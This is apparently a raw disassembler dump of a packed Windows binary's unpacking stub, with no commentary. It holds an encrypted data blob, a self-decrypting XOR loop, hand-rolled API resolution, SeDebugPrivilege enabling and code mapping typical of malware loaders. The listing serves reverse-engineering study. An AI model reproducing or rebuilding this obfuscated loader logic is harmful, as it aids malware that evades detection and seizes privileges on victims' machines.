7AC980A6h dd 911F009Ch, 36C47548h, 9F0CE22h, 15147300h, 0EBF0311Bh dd 6E4E3C12h, 690F8980h, 7C196742h, 0BEA89F3Fh, 92761C03h dd 40E1D40h, 3B0B5588h, 53801E7Fh, 0E92B2009h, 9100059Ah dd 1F0A9932h, 0E403FD6Dh, 9E09008Bh, 82510612h, 0D1F2A160h dd 0C9EAC100h, 0C52DCA9Ch, 0A60D00B4h, 13D4B0AAh, 8A00948Dh dd 0AC6E4824h, 1440A23h, 0DD997943h, 0D4E46A07h, 0C3CDC4Eh dd 249800E0h, 10321B78h, 67D03D9h, 14EB9148h, 8845C7F0h dd 4B35301h, 0C8C181ECh, 0E9D0F8h, 69C354F3h, 0A8818DBh dd 35C9B00h, 308ABC8Dh, 565F0149h, 0C3A2D0E8h, 39B28022h dd 0AB83B468h, 0B2790ED5h, 0E5E0F8E1h, 44A1350Fh, 0CC094200h dd 31A68AECh, 808B0029h, 8E348DC2h, 0D2001973h, 1AE35BA1h dd 1258B746h, 1F215543h, 2A47C0F9h, 0A453BA44h, 3752C00h dd 8660E0A2h, 167189h, 2151840Fh, 2414553Fh, 52337B03h dd 0F001F4C9h, 1F8DC19Dh, 43C7094Ch, 2A8E9B7Eh, 0C8AD097h dd 0F2008811h, 16868D1Dh, 5B13E9h, 2B982962h, 90714EC2h dd 9F38283Eh, 92C056E0h, 0F2142564h, 60A20082h, 0CA15C41Dh dd 780194A7h, 7AEB3209h, 0BAD45437h, 0E43D3890h, 0D3174880h dd 0E755B124h, 5EDC9700h, 6F626E59h, 6B6501F7h, 0B31A0414h dd 0FD2E3049h, 0BB2EF00h, 0F8A81D46h, 1D147ED0h, 0E84A095h dd 0E481C86Eh, 0D0110855h, 94C022F2h, 0A9709FDh, 70ACE8E3h dd 0B6D0031h, 98FF3308h, 0E9ECEB4Eh, 99817006h, 384445h dd 5A1131D6h, 43BF9460h, 26886100h, 4712E5Ch, 0C433032Fh dd 8C285802h, 0EB1465F8h, 0E3621E01h, 0C9844089h, 41915483h dd 5FD07910h, 730BD2BCh, 5FB5D54h, 0C4002244h, 0CEFDE351h dd 14A200E0h, 1186AD91h, 4302E619h, 8906C9B2h, 1C4D4034h dd 0B5D100F3h, 17A4DB7Ch, 0B100142Eh, 0E336020Ah, 0E8FF4832h dd 95FA0096h, 17505EEAh, 0D3003EC0h, 1FE2BE6h, 0B1FBB8h dd 15222C08h, 0B07A856Eh, 7676F13h, 6DEE5A00h, 0D84605h dd 6A7203EBh, 28FD5978h, 8C58B201h, 0C0399C06h, 138B3ED0h dd 79B5BBh, 24A711B4h, 120EDB93h, 0C02EA1D0h, 6916919Eh dd 151C03B5h, 0A22468D6h, 75089D80h, 0EA0083EAh, 0FA484073h dd 1DA0670h, 0D1D28C0Fh, 0D03FCAF0h, 0E35893F9h, 0CB130021h dd 0E612C02h, 7DD81DBEh, 1FC7DD0Fh, 70A000B0h, 0A40BC8Fh dd 4309EB00h, 3F04E983h, 0D101033Bh, 39DB03E8h, 672B8F0h dd 0A002977h, 7596028Eh, 58F8DD0h, 854CEA88h, 0D1A781B8h dd 1A7C30D8h, 0B4473300h, 0E87D9908h, 0F1840027h, 8126B914h dd 0F21E1588h, 5109DA07h, 9C080FFh, 0E97260h, 25D1D5A1h dd 0BE10266h, 4E34B00h, 3F7C8D6Eh, 9E870001h, 9C7D10A9h dd 89006B43h, 0E0110326h, 0ECB0ECF8h, 71900EF0h, 3B40F402h dd 423577DEh, 1CC00D00h, 0CB062BCEh, 8ACF0003h, 0F43E4A11h dd 46E88988h, 92E413Bh, 8F9E8312h, 574E0FAh, 18A33Bh, 0A075E572h dd 0FFA3973h, 0AE823107h, 87A2E977h, 40F4C00Bh, 119A0286h dd 1044F796h, 5075D0C0h, 46B40817h, 9957B700h, 59096Ah dd 5EAF9F7h, 68F85F78h, 9610E000h, 0C0B60A5Ah, 990C1E93h dd 0FB7DC0F7h, 9CF0E743h, 86E48500h, 0F44F0AA4h, 0FE2CE029h dd 12E55890h, 0C06A501Ch, 94C357FFh, 381C1C1Eh, 7E808DFCh dd 0CAA0537Dh, 6CC60083h, 0F01AAE09h, 6E00E8FAh, 9A397EA1h dd 54B0680h, 50021EA3h, 8B5BC00Ch, 0DD0F70C3h, 608248ABh dd 40E0585Ah, 330400A8h, 2018DAE1h, 70740114h, 57900EE4h dd 0E3100807h, 0E860F2ADh, 1FB93584h, 0E029295h, 89200528h dd 244BAFA4h, 0A0637001h, 0A94A238h, 985EA870h, 0EE2AF4B2h dd 910D03D0h, 838420E3h, 561C1888h, 4C0F777Dh, 74AE11Dh dd 4370108Ah, 11B8960h, 0D0E2AD70h, 80883DFDh, 67525030h dd 1834078h, 3813571Dh, 0E801F968h, 707BE802h, 0DC618E00h dd 56575309h, 0A47071h, 0ED815D0Dh, 8C134C30h, 43B58D0Fh dd 468B81C0h, 1DD883FCh, 0F02B0004h, 0A4DEBDBCh, 90B3756h dd 0F801C76h, 1F2F606Fh, 0AD32C5h, 900220ABh, 48137B83h dd 26E425B8h, 85447300h, 0B90EDCF6h, 83230569h, 7BA7A3h dd 0A4F3FAB4h, 2200CFEFh, 1391B58h, 6F1A2Fh, 61630604h dd 851EFFF9h, 0E8511C00h, 90F24A46h, 8B600001h, 31892C4Eh dd 4B002B8Dh, 0C723406Ah, 7B5124h, 2137958Ch, 27853089h dd 0C10D58h, 0C4BF92F6h, 7D1DBD72h, 0FC00003h, 0C164949Bh dd 59004028h, 0E552550Ch, 19E90h, 85349AC2h, 897761C9h dd 0EC004976h, 46C45108h, 180647h, 0A7B746Eh, 1AAA958Bh dd 9E8DCD38h, 44000DAEh, 3A228A75h, 2DEB000Ch, 8057C1F7h dd 1300747Ch, 0C0E18152h, 517F97h, 785338Dh, 0E115031h dd 401F3F00h, 26A14C89h, 521001Dh, 71C8ED60h, 52006741h dd 54D8D23Fh, 10D96D0h, 85106A31h, 201C44ABh, 407B48DAh dd 8AEB0816h, 1237DF02h, 757FC0DEh, 81430405h, 80404B36h dd 0F702036Eh, 0E906C600h, 3EC3C183h, 4289009Ah, 0C225880Bh dd 0B34C02D2h, 0D694006Eh, 3769577Ch, 90140019h, 990FB548h dd 0DA003BA6h, 30C4620h, 95D05C7h, 0C35B5F5Eh, 49C48D80h dd 381EBBFCh, 0DC344E8h, 0E806EB81h, 60E0073Fh, 51CB8A30h dd 9300FF24h, 0E92A49A9h, 46A2CBAh, 39C37E14h, 4D0EC0D3h dd 201073Bh, 0EE521674h, 50FC49BFh, 93E22890h, 0AB450080h dd 4C2835Ah, 0E400EB2Ch, 6AC3007h, 1FCDC575h, 801EC9AFh dd 0F4017A83h, 44F6D051h, 0B866C100h, 9E105D08h, 0BDAD0024h dd 0C2030787h, 0A9A089E0h, 996BA6F4h, 56B500E8h, 0E2E821h dd 8E1A165Ch, 81C9493Eh, 743C5800h, 240B620Ah, 66304CFEh dd 9C07EB00h, 5501892Eh, 0B70FF800h, 62A91046h, 751D0EAAh dd 0FBE0E57Dh, 84428732h, 6C7AAD00h, 0C7FC9260h, 125E0340h dd 750336C0h, 0CF3B4000h, 625347Dh, 60B0FA46h, 0FC1E5CD0h dd 0D3FEE82Ch, 0FEA07400h, 75D78AC8h, 2A1C0063h, 0DB0C23Ah dd 3900C166h, 0C08408E8h, 0C48610h, 1061ED1h, 0C61C807Ch dd 73FD041Ch, 0C8EB41C5h, 0BE90C9C0h, 74140046h, 2A3B3537h dd 8A003055h, 16F711ABh, 0C21F4Ch, 0F0FD78E9h, 5117355Ah dd 39098E0Eh, 833400F8h, 6602ECh, 122E76FEh, 0A708D652h dd 590018F0h, 0B0491C8Eh, 574D3Fh, 42B347E6h, 1741B1E5h dd 0BEDF1F03h, 0D05027A6h, 0ECD0ADEh, 642CED43h, 264D7480h dd 5E0073E0h, 4B287D18h, 0F8B208h, 0F90BC171h, 3A5F302h dd 0E1832D00h, 7BFF91EDh, 16430004h, 52A43DFAh, 1900D1A8h dd 0CA42AB7Ch, 35AAA12h, 683B7BD3h, 0D2903D32h, 0C32EA604h dd 6A1C6005h, 54E32180h, 17039C8Ah, 2479Ah, 5251F01Fh dd 91008D56h, 458A46CAh, 8942D6h, 7DBF98BBh, 0D426B8ECh dd 1E486E00h dd 3614C82Bh, 5EA803B2h, 0C47C2099h, 0B1030490h, 0BB465D00h dd 0E4862D0h, 0C95233F4h, 7298F5E0h, 8B0019A8h, 0BF51C72Fh dd 7306671Eh, 0E1D000ECh, 0C67440C8h, 7704B54Bh, 29125146h dd 7F36C180h, 0BBED3B8Fh, 0CAEB0980h, 901BAC5Ah, 3B3EFA00h dd 0E75307Dh, 211FCF9h, 9FCCDAA3h, 0F4400640h, 0AA070FFFh dd 0C731090h, 2BEF002Bh, 499CD4h, 0CEE35EB8h, 0B45DA4Eh dd 1C40AB2Eh, 5D922D0Eh, 0F6CBCF80h, 77F018Dh, 0D0529B2Ch dd 4C82E076h, 51095C39h, 6D4B6h, 8032434h, 0E9895C3Eh dd 0C4E3F7Dh, 7ECED009h, 0FF677F80h, 0A0007B21h, 53515750h dd 1FE827h, 1B042DA9h, 0DF888D48h, 680843Dh, 9CC5EB14h dd 6D73B0h, 0D6E56276h, 0C7C2E465h, 45201A00h, 9683890Ch dd 0D0B600B1h, 1CAE4210h, 440F46F6h, 0A0EF938Bh, 73AF384Eh dd 83D20258h, 5922A79Fh, 30E131C0h, 0EB3ACDFEh, 126307A1h dd 0D0703B10h, 0CE65C9h, 55B1017Dh, 0E9D28514h, 0D6F50200h dd 0D8AF6D9h, 64C75CF2h, 7E3E0076h, 4474B8C2h, 7F039152h dd 842538A9h, 23E49809h, 0EBE0006Ah, 0F4050E5Ah, 0D30A4103h dd 95CF66D6h, 0B38C4000h, 1F2249h, 86685A69h, 0B04D6F6Ch dd 2E4B900h, 0BB2C5496h, 0ACEB038Ah, 569C239Dh, 0FC4484F0h dd 7B6F5500h, 62AF35Ch, 0F12B0030h, 0E8D2D089h, 1C011290h dd 0C484D3Bh, 13300A66h, 0FA3600F3h, 27FC6B61h, 2A004B6Dh dd 1C20111Ah, 3BB6055Eh, 0B9803C40h, 38D1448h, 1800017Ch dd 0D027C783h, 5E9C1CFh, 0E17360B0h, 76928032h, 4B00DB50h dd 0FB3A8225h, 98A011Eh, 0F641A807h, 88D1F480h, 440059E1h dd 1EE7501Dh, 3A58EE5h, 85C86542h, 9AB80DACh, 2203177Ah dd 0CCAA790h, 0B033AB25h, 0F5CAFFAh, 4A69CF42h, 0B2017BA0h dd 8000B88Dh, 78AB2DA3h, 15568Bh, 0A6178934h, 0BB4832BDh dd 7041C702h, 0E1696C10h, 7C4745Eh, 206E006Fh, 0DC1E7265h dd 121E53F8h, 1787F79Dh, 2EF0FF75h, 1685403h, 3C8CEF65h dd 0F464EC63h, 14001BDBh, 0CB357325h, 97E76Ch, 0D474676Eh dd 0EDBE1E62h, 0FD366100h, 0E364BB69h, 4C440053h, 3584478Eh dd 2CF682CCh, 6C6E6100h, 0AF33F420h, 242A0038h, 639D2757h dd 4807362Fh, 9B737528h, 803233E2h, 61F278E3h, 0E670F7Bh dd 41006F42h, 8F74770Fh, 66E8637Fh, 6B143703h, 886C8E38h dd 0FA0A453Fh, 50FC69h, 0C14C4DA4h, 68C0B043h, 0E786486Fh dd 4F80FD64h, 9E2F570h, 0FC4718B1h, 4200D68Fh, 1C9B6CC4h dd 567C0707h, 0FAD17269h, 7E8034A0h, 6E52638Eh, 761D2A9Ah dd 9476493h, 95D04882h, 0BF4A3ABh, 0CC6D0138h, 62001289h dd 3C125089h, 32482500h, 49697A30h, 18D7F9Ch, 0A8119A5h dd 0C0D8EE01h, 74388B60h, 7C74F424h, 0B2FC2800h, 0A4DB3380h dd 0E80217B3h, 7335816Dh, 0E5C9F1F6h, 97094564h, 0C5B95BAh dd 41362309h, 3410B03Eh, 0DDC7194Fh, 3F75F7E0h, 0D4EB3FAAh dd 2B1D4D31h, 2E22F3CBh, 28EB0F42h, 9334D1ACh, 40C9131Eh dd 0C148911Ch, 0F5FD08E0h, 3D2D9C2Ch, 0A7D7D18h, 5FC3A80h dd 0F8830683h, 8C71777Fh, 0C58B9503h, 0A85601B3h, 0F02BF7h dd 0EB5EA4F3h, 75D2028Eh, 168A0507h, 0C3761246h, 0E84117EAh dd 8623C6EEh, 0FC1E7EEh, 2BC3F272h, 6899A53h, 0C2611C08h dd 0D4E0990Ch, 600838BEh, 9640816h, 180BCE0Ch, 2C21CB28h dd 405F4CE4h, 2245423h, 0FA25B809h, 0E360F04Dh, 10E0129Eh dd 1418901h, 424548Bh, 170C52D0h, 0E902C6h, 0CA2B05FEh dd 0FC504A89h, 0B800C3D1h, 12345678h, 0A0058F64h, 0C48353h dd 51535504h, 8D525657h, 67CF9875h, 5D188F8Bh, 406AE803h dd 38166568h, 0AE8CC7FFh, 8E4B9E1Fh, 1AFCA03h, 0A35AD087h dd 383D50F8h, 20438733h, 8B1C203h, 23DF4B89h, 0E331C14h dd 0C4C20F2h, 50228D66h, 0D1FF0F94h, 9B9E585Ah, 5A255C08h dd 50DC92F0h, 56891BDBh, 4EB04508h, 0D77BFF14h, 133F851Bh dd 4B363ED1h, 6BEB5A9Bh, 0C080D420h, 11FF57CEh, 5A03C68Bh dd 5B595F5Eh, 85E0D35Dh, 80AD012Fh, 0 dd 0E86000h, 8B000000h, 0C483242Ch, 53B58D04h, 8D000003h dd 2029Dh, 0E8FF3300h, 145h, 74FF0FEBh, 34FF0437h, 83D3FF37h dd 0C78308C4h, 373C8308h, 8DEB7500h, 53043774h, 68406Ah dd 68000010h, 48h, 95FF006Ah, 2E8h, 34F8589h, 0FF5B0000h dd 34FB5h, 0D3FF5600h, 8B08C483h, 34FB5h, 0EBC68B00h, 38804001h dd 40FA7501h, 0CDE8388Bh, 83000000h, 858904C0h, 34Bh, 93E9h dd 95FF5600h, 2E0h, 840FC085h, 0AEh, 3478589h, 0C68B0000h dd 858B5BEBh, 34Bh, 0A9008Bh, 74800000h, 3514h, 8B508000h dd 34B85h, 2000C700h, 0EB002020h, 4BB5FF06h, 0FF000003h dd 347B5h, 0E495FF00h, 85000002h, 896B74C0h, 4C78307h dd 34B858Bh, 1EB0000h, 388040h, 8940FA75h, 34B85h, 78816600h dd 74800002h, 3880A5h, 1EBA075h, 3E8046h, 4046FA75h, 35E8388Bh dd 83000000h, 858904C0h, 34Bh, 0F013E80h, 0FFFF6485h, 400068FFh dd 48680000h, 0FF000000h, 34FB5h, 0EC95FF00h, 0E8000002h dd 55h, 2EEAE961h, 0C361FFF0h, 858B5350h, 33Fh, 0E74C00Bh dd 337858Bh, 5C8B0000h, 0F82B3024h, 585BFB03h, 858B60C3h dd 33Fh, 2374C00Bh, 337858Bh, 5C8B0000h, 11EB4824h, 4374429h dd 4375C01h, 1370429h, 0C783371Ch, 373C8308h, 61E97500h dd 0B58B60C3h, 33Fh, 6774F60Bh, 337BD8Bh, 448B0000h, 85894824h dd 33Bh, 5374C73Bh, 4AEBF003h, 468B168Bh, 43858904h, 1000003h dd 343B5h, 8C68300h, 0B70F2CEBh, 0C1D88B06h, 0CB8B0CEBh dd 1000DB69h, 0C32B0000h, 8503C203h, 33Bh, 7503F983h, 8B38290Ah dd 33B8Dh, 83080100h, 0B53B02C6h, 343h, 3E83CC72h, 61B17500h dd 748B60C3h, 7C8B2424h, 0B2FC2824h, 0A4DB3380h, 6DE802B3h dd 73000000h, 0E8C933F6h, 64h, 0C0331C73h, 5BE8h, 0B3237300h dd 10B04102h, 4FE8h, 73C01200h, 0AA3F75F7h, 4DE8D4EBh dd 2B000000h, 0E81075CBh, 42h, 0D1AC28EBh, 134D74E8h, 911CEBC9h dd 8E0C148h, 2CE8ACh, 3D0000h, 7300007Dh, 5FC800Ah, 0F8830673h dd 4102777Fh, 0C58B9541h, 8B5601B3h, 0F3F02BF7h, 8EEB5EA4h dd 575D202h, 1246168Ah, 0C933C3D2h, 0FFEEE841h, 0C913FFFFh dd 0FFFFE7E8h, 0C3F272FFh, 28247C2Bh, 1C247C89h, 0C361h dd 2 dup(0) dd 0E2AA0000h, 0E2B7000Fh, 0Fh, 4 dup(0) dd 656B0000h, 6C656E72h, 642E3233h db 2 dup(6Ch), 0 dword_4FE2B7 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA db 0A0h dd 517C80ADh, 0E47C809Ah, 7C809Ah, 0 dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 10000000h dd 80000h, 0 dd 40h, 3 dup(0) dd offset dword_4C4C44+303Ch dd 33h, 20000033h, 1000004Eh, 0D1F80040h, 4Fh, 4Eh, 1C6B0000h dd 0C16E7265h, 2E32336Ch, 3B7D764h, 4E832001h, 616F4C80h dd 6269D0F9h, 79E47276h, 470F4170h, 47507465h, 6497636Fh dd 739CDE1Fh, 69561F78h, 61757443h, 0D158FE6Ch, 468D0D28h dd 0C87C734h, 0 db 0 ; =============== S U B R O U T I N E ======================================= public start start proc near pusha push ebp mov ebp, esp call sub_4FE3A1 call sub_4FE409 mov ebp, fs:0 sub ebp, 0FFFFFFF8h jmp loc_4FE3C6 start endp ; =============== S U B R O U T I N E ======================================= sub_4FE3A1 proc near ; CODE XREF: start+4p var_8 = dword ptr -8 push dword ptr fs:0 mov fs:0, esp xor eax, eax push 8 push eax push 2000h push eax push eax push eax push eax push eax push eax call ds:dword_4FE2B7 ; LoadLibraryA loc_4FE3C6: ; CODE XREF: start+17j sub edx, edx sub ecx, ecx mov cl, 0B5h loc_4FE3CC: ; CODE XREF: sub_4FE3A1+2Dj inc edx dec ecx jnz short loc_4FE3CC call sub_4FE406 sub ecx, 0FFFFFFBFh push ecx mov ebx, 243Ch loc_4FE3E1: ; CODE XREF: sub_4FE3A1+4Ej xchg al, [ecx] xor ax, dx xchg al, [ecx] inc ecx sub ebx, 1 cmp ebx, 0 jnz short loc_4FE3E1 pop ecx mov esp, fs:0 pop dword ptr fs:0 leave mov [esp+20h+var_8], ecx popa jmp ecx sub_4FE3A1 endp ; =============== S U B R O U T I N E ======================================= sub_4FE406 proc near ; CODE XREF: sub_4FE3A1+2Fp pop ecx jmp ecx sub_4FE406 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FE409 proc near ; CODE XREF: start+9p arg_C = dword ptr 10h mov ecx, [esp+arg_C] xor eax, eax pop dword ptr [ecx+0B8h] retn sub_4FE409 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] test dword ptr [eax+242Bh], 80000000h mov [eax+29ACh], ebx mov ebx, [esp+4] jz short loc_4FE462 cld pop ecx mov [eax+29B0h], esi mov [eax+29B4h], edi cmp byte ptr [eax+242Fh], 0E8h jnz short loc_4FE459 add ebx, [eax+2430h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_4FE461 ; --------------------------------------------------------------------------- loc_4FE459: ; CODE XREF: .RLPack:004FE44Aj mov ebx, [eax+2431h] push dword ptr [ebx] loc_4FE461: ; CODE XREF: .RLPack:004FE457j pop ebx loc_4FE462: ; CODE XREF: .RLPack:004FE433j push ebp xchg eax, ebp sub dword ptr [esp+4], 44Bh and ebx, 0FFFFF000h sub ebp, offset loc_401006 mov edi, [esp+4] lea esi, [ebp+40343Ch] mov ecx, 0 rep movsb loc_4FE489: ; CODE XREF: .RLPack:004FE4A5j cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_4FE49F mov eax, [ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_4FE4A7 loc_4FE49F: ; CODE XREF: .RLPack:004FE490j sub ebx, 100h jnz short loc_4FE489 loc_4FE4A7: ; CODE XREF: .RLPack:004FE49Dj mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_4FE4B5: ; CODE XREF: .RLPack:loc_4FE4DCj lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_4FE4DC cmp dword ptr [eax+3], 636F7250h jnz short loc_4FE4DC cmp dword ptr [eax+7], 72646441h jnz short loc_4FE4DC cmp dword ptr [eax+0Bh], 737365h jz short loc_4FE4E1 loc_4FE4DC: ; CODE XREF: .RLPack:004FE4BFj ; .RLPack:004FE4C8j ... loop loc_4FE4B5 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4FE4E1: ; CODE XREF: .RLPack:004FE4DAj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_4FE507+2 inc ebx insb outsd jnb short near ptr loc_4FE565+2 dec eax popa outsb db 64h insb loc_4FE507: ; CODE XREF: .RLPack:004FE4F8p add gs:[ebx-1], dl setalc mov dword ptr ss:loc_40353C[ebp], eax call near ptr loc_4FE523+1 inc ebx jb short near ptr loc_4FE57E+1 popa jz short near ptr loc_4FE57E+4 inc ebp jbe short near ptr loc_4FE584+1 outsb jz short near ptr loc_4FE562+2 loc_4FE523: ; CODE XREF: .RLPack:004FE512p add [ebx-1], dl setalc mov [ebp+403540h], eax call sub_4FE53F inc edi db 65h jz short near ptr loc_4FE57E+4 popa jnb short loc_4FE5AD inc ebp jb short near ptr loc_4FE5AD+1 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_4FE53F proc near ; CODE XREF: .RLPack:004FE52Dp ; FUNCTION CHUNK AT 004FE5E8 SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 004FE728 SIZE 0000013A BYTES push ebx call esi mov [ebp+403544h], eax call sub_4FE5BD test eax, eax jz short loc_4FE572 push eax call dword ptr [ebp+403544h] test eax, eax jnz short loc_4FE56C lea eax, [ebp+4011D2h] loc_4FE562: ; CODE XREF: .RLPack:004FE521j mov dl, [eax-1] loc_4FE565: ; CODE XREF: .RLPack:004FE500j call sub_4FE5D8 jmp short loc_4FE5E8 ; --------------------------------------------------------------------------- loc_4FE56C: ; CODE XREF: sub_4FE53F+1Bj ; sub_4FE53F+136j ... call dword ptr ss:loc_40353C[ebp] loc_4FE572: ; CODE XREF: sub_4FE53F+10j test dword ptr [ebp+403431h], 80000000h jz short loc_4FE59C loc_4FE57E: ; CODE XREF: .RLPack:004FE518j ; .RLPack:004FE51Bj ... lea esi, [ebp+403435h] loc_4FE584: ; CODE XREF: .RLPack:004FE51Ej mov edi, [esp+4] movsb movsd mov ebx, [ebp+4039B2h] mov esi, [ebp+4039B6h] mov edi, [ebp+4039BAh] loc_4FE59C: ; CODE XREF: sub_4FE53F+3Dj pop ebp retn sub_4FE53F endp ; --------------------------------------------------------------------------- loc_4FE59E: ; CODE XREF: sub_4FE5BD+2p ; sub_4FE53F:loc_4FE7A7p pop edx push 0 push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4FE5AD: ; CODE XREF: .RLPack:004FE537j ; .RLPack:004FE53Aj les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_4FE5BD proc near ; CODE XREF: sub_4FE53F+9p xor ecx, ecx call loc_4FE59E lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call dword ptr [ebp+403540h] add esp, 20h retn sub_4FE5BD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FE5D8 proc near ; CODE XREF: sub_4FE53F:loc_4FE565p ; sub_5003AC+25Bp mov dh, dl mov ecx, 225Fh loc_4FE5DF: ; CODE XREF: sub_4FE5D8+Cj xor [eax], dl inc eax add dl, dh loop loc_4FE5DF retn sub_4FE5D8 endp ; --------------------------------------------------------------------------- db 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FE53F loc_4FE5E8: ; CODE XREF: sub_4FE53F+2Bj and dword ptr [ebp+401580h], 0 and dword ptr ss:loc_401584[ebp], 0 and dword ptr [ebp+401588h], 0 mov eax, [ebp+403431h] xor ecx, ecx push 1 mov cl, 20h pop dword ptr [ebp+40397Eh] loc_4FE60F: ; CODE XREF: sub_4FE53F+E0j xor edx, edx shr eax, 1 setb dl shl dl, 3 add [ebp+40397Eh], edx loop loc_4FE60F push edi mov byte ptr [ebp+401303h], 1 mov [ebp+403548h], esi lea esi, loc_4015BB[ebp] xor ecx, ecx lea edi, [ebp+403558h] mov cl, 1Eh call sub_4FE9A2 pop edi call dword ptr [ebp+403594h] shr eax, 1Fh jz loc_4FE728 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov dword ptr ss:loc_403550[ebp], eax push 69CEh push 0 call dword ptr ss:loc_4035C8[ebp] test eax, eax jz loc_4FE56C xchg eax, edi lea esi, sub_401000[ebp] mov ebp, edi mov ecx, 0A74h sub ebp, offset sub_401000 lea edx, [ebp+401283h] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_4FE53F ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+401A3Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr ss:loc_403550[ebp] add esp, 20h test eax, eax jz loc_4FE56C xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr ss:loc_403550[ebp] test eax, eax jz loc_4FE56C push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr ss:loc_403550[ebp] push 1000Ah call dword ptr ss:loc_403550[ebp] call sub_4FE718 jmp loc_4FE56C ; =============== S U B R O U T I N E ======================================= sub_4FE718 proc near ; CODE XREF: .RLPack:004FE70Ep ; sub_4FE718+Dj push 1 pop ecx jecxz short locret_4FE727 push 0Ah call dword ptr [ebp+4035BCh] jmp short sub_4FE718 ; --------------------------------------------------------------------------- locret_4FE727: ; CODE XREF: sub_4FE718+3j retn sub_4FE718 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FE53F loc_4FE728: ; CODE XREF: sub_4FE53F+10Fj cmp dword ptr ss:loc_403570[ebp], 0 jz loc_4FE56C call near ptr loc_4FE73F+1 dec esi push esp inc esp dec esp dec esp loc_4FE73F: ; CODE XREF: sub_4FE53F+1F6p add bh, bh xchg eax, ebp mov ds:0B58D0040h, dh jnb short near ptr loc_4FE75C+5 inc eax add [ebx], dh leave lea edi, [ebp+4035D0h] mov cl, 0Bh xchg eax, ebx call sub_4FE9A2 loc_4FE75C: ; CODE XREF: sub_4FE53F+209j cmp dword ptr ss:loc_4035F8[ebp], 0 jz loc_4FE56C mov eax, dword ptr ss:loc_4035D4[ebp] push dword ptr [eax+1] pop dword ptr ss:loc_403395[ebp] mov eax, [ebp+4035E8h] push dword ptr [eax+1] pop dword ptr [ebp+4033E2h] mov eax, [ebp+4035D8h] push dword ptr [eax+1] pop dword ptr ss:loc_4033E9[ebp] mov ecx, dword ptr ss:loc_4035DC[ebp] jecxz short loc_4FE7A7 push dword ptr [ecx+1] pop dword ptr ss:loc_4033F6[ebp] loc_4FE7A7: ; CODE XREF: sub_4FE53F+25Dj call loc_4FE59E lea edi, [ebp+40364Eh] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+40159Fh] mov ecx, 1Ch mov edx, esp lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_4FE7EC: ; CODE XREF: sub_4FE53F+2B0j lodsb stosw loop loc_4FE7EC push 0 push 69CEh mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+4035E0h] pop eax add esp, 40h push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 69CEh push 0 push ecx push 0FFFFFFFFh push eax call dword ptr ss:loc_4035E4[ebp] pop edi pop ecx test edi, edi jz loc_4FE56C lea esi, sub_401000[ebp] mov ecx, 0A74h mov ebp, edi rep movsd sub ebp, offset sub_401000 lea eax, loc_40144C[ebp] jmp eax ; END OF FUNCTION CHUNK FOR sub_4FE53F ; --------------------------------------------------------------------------- dw 958Dh dd offset loc_4018E0 dd 9C95FF52h, 0E8004035h, 16h aLookupprivil_0 db 'LookupPrivilegeValueA',0 dw 0FF50h dd 40354895h, 4C858900h, 50004035h, 6A206A54h, 0EC95FFFFh dd 85004035h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h dd 4C95FF56h, 8B004035h, 565656C4h, 0FF575650h, 4035D095h dd 10C48300h, 3C95FF57h, 6A004035h, 0FF026A00h, 40357095h dd 128B900h, 2B970000h, 240C89E1h, 95FF5754h, 4035ACh dd 0A583F633h, 40363Ch, 0FF575400h, 4035B095h, 74C08500h dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 4035A895h dd 74C08500h, 3DE893DCh, 33000004h, 30E391C9h, 363C8539h dd 28750040h, 0DAEC181h, 54500000h, 50515650h, 95FF5350h dd 403568h, 7459C085h, 2474FF0Fh, 3C858F08h, 0E8004036h dd 0FFFFFDACh, 3C95FF53h, 0EB004035h, 28C48198h, 57000001h dd 353C95FFh, 0E5E90040h, 8DFFFFFBh, 58580049h, 29CE0058h dd 0D650000h, 3 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4FE9A2 proc near ; CODE XREF: sub_4FE53F+100p ; sub_4FE53F+218p 